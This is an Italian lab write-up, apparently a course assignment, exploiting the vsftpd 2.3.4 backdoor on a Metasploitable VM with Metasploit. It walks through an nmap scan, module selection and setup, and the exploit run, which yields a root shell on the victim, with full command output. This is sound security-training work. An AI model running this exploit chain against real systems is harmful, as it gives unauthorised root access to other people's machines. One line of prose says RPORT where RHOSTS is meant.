

CONSEGNA S7L1

Metasploit e attacco a vsftpd

Come prima cosa andremo ad individuare la porta adatta al nostro caso scansionando la macchina di Metasploitable con Nmap e ci accorgeremo che la porta responsabile del File Transfer Protocol (FTP) e che quindi andremo effettivamente ad utilizzare è la 21.

```
kali@kali: ~  
File Azioni Modifica Visualizza Aiuto  
  
(kali@kali)-[~]  
$ nmap -sV 192.168.32.102  
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 04:18 EST  
Nmap scan report for 192.168.32.102  
Host is up (0.015s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      vsftpd 2.3.4  
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet   Linux telnetd  
25/tcp    open  smtp     Postfix smtpd  
53/tcp    open  domain   ISC BIND 9.4.2  
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind  2 (RPC #100000)  
139/tcp   filtered netbios-ssn  
445/tcp   filtered microsoft-ds  
512/tcp   open  exec     netkit-rsh rexecd  
513/tcp   open  login    OpenBSD or Solaris rlogind  
514/tcp   open  shell    Netkit rshd  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
1524/tcp  filtered ingreslock  
2049/tcp  open  nfs      2-4 (RPC #100003)  
2121/tcp  open  ftp      ProFTPD 1.3.1  
3306/tcp  open  mysql    MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc      VNC (protocol 3.3)  
6000/tcp  open  X11      (access denied)  
6667/tcp  open  irc      UnrealIRCd  
8009/tcp  open  ajp13    Apache Jserv (Protocol v1.3)  
8180/tcp  open  http     Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 25.42 seconds
```

A questo punto avviamo metasploit con il comando *msfconsole* come in figura sotto.

Utilizzando il comando *search vsftpd* andremo a controllare se esiste un exploit per il servizio *vsftpd* e come possiamo notare in figura esistono due exploit per questo servizio verso sistemi Linux ed è una backdoor.

```
kali@kali: ~  
File Azioni Modifica Visualizza Aiuto  
(kali@kali)-[~]  
$ msfconsole  
  
# cowsay++  
< metasploit >  
  \  (oo)_____\  \  
   (__)_____) \  
  ||----w | *  
  
=[ metasploit v6.3.27-dev ]  
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]  
+ -- --=[ 1382 payloads - 46 encoders - 11 nops ]  
+ -- --=[ 9 evasion ]  
  
Metasploit tip: To save all commands executed since start up  
to a file, use the makerc command  
Metasploit Documentation: https://docs.metasploit.com/  
  
msf6 > search vsftpd  
  
Matching Modules  
  
# Name Disclosure Date Rank Check Description  
- - - - -  
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service  
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execut  
ion  
  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Adesso possiamo far partire l'exploit caricando la backdoor usando il comando *use* seguito dal *path* dell'exploit stesso.

Usando successivamente il comando *show options* potremo capire quali parametri dovremo configurare per poter attaccare la macchina vittima, in questo caso *RPORT* è già impostata sulla 21 quindi andremo a configurare solo il parametro *RPORT* indicando l'ip di Metasploitable.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      localhost        no        The local client address
  CPORT      21              no        The local client port
  Proxies    []              no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     []              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  LHOST     localhost        yes       The local address to connect to
  LPORT     4444             yes       The local port to connect to

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Per impostare correttamente l'ip della macchina vittima a questo punto useremo il comando `set rhosts` seguito dall'ip.

Successivamente andremo a capire ed a scegliere il payload che intendiamo utilizzare e per fare ciò useremo il comando `show payloads`, nella fattispecie vedremo che potremo utilizzare un unico payload, essendo l'unico presente non andrà configurato nulla poichè verrà utilizzato di default.

Riutilizzando il comando `show options` possiamo capire se ci sono parametri da impostare per lanciare il payload ed in questo caso non ci saranno quindi possiamo partire con l'attacco.

```
kali@kali: ~  
File Azioni Modifica Visualizza Aiuto  
  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.32.102  
rhosts => 192.168.32.102  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads  
  
Compatible Payloads  
-----  


| # | Name                      | Disclosure Date | Rank   | Check | Description                                        |
|---|---------------------------|-----------------|--------|-------|----------------------------------------------------|
| 0 | payload/cmd/unix/interact |                 | normal | No    | Unix Command, Interact with Established Connection |

  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  | 192.168.32.102  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |

  
Payload options (cmd/unix/interact):  


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
View the full module info with the info, or info -d command.
```

Lanciamo l'attacco con il comando *exploit* così facendo apriremo una sessione sulla macchina vittima avendo una shell da remoto, infatti come possiamo vedere in figura lanciando il comando *ifconfig* noteremo che l'ip è quello della macchina vittima, ora con il comando *mkdir* creeremo una cartella che chiameremo *test_metasploit* nella quale potremo navigare così da spostarci anche nell'intero sistema.

```
kali@kali: ~  
File Azioni Modifica Visualizza Aiuto  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.32.102:21 - Banner: 220 (vsFTPD 2.3.4)  
[*] 192.168.32.102:21 - USER: 331 Please specify the password.  
[*] 192.168.32.102:21 - Backdoor service has been spawned, handling ...  
[*] 192.168.32.102:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.32.100:40317 → 192.168.32.102:6200) at 2024-01-15 04:24:04 -0500  
  
ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:b9:10:da  
          inet addr:192.168.32.102  Bcast:192.168.32.255  Mask:255.255.255.0  
          inet6 addr: fe80::a00:27ff:feb9:10da/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:3780 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:3591 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:298743 (291.7 KB)  TX bytes:304179 (297.0 KB)  
          Base address:0xd020 Memory: f0200000-f0220000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING  MTU:16436  Metric:1  
          RX packets:143 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:143 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:40897 (39.9 KB)  TX bytes:40897 (39.9 KB)  
  
mkdir test_metasploit  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var
```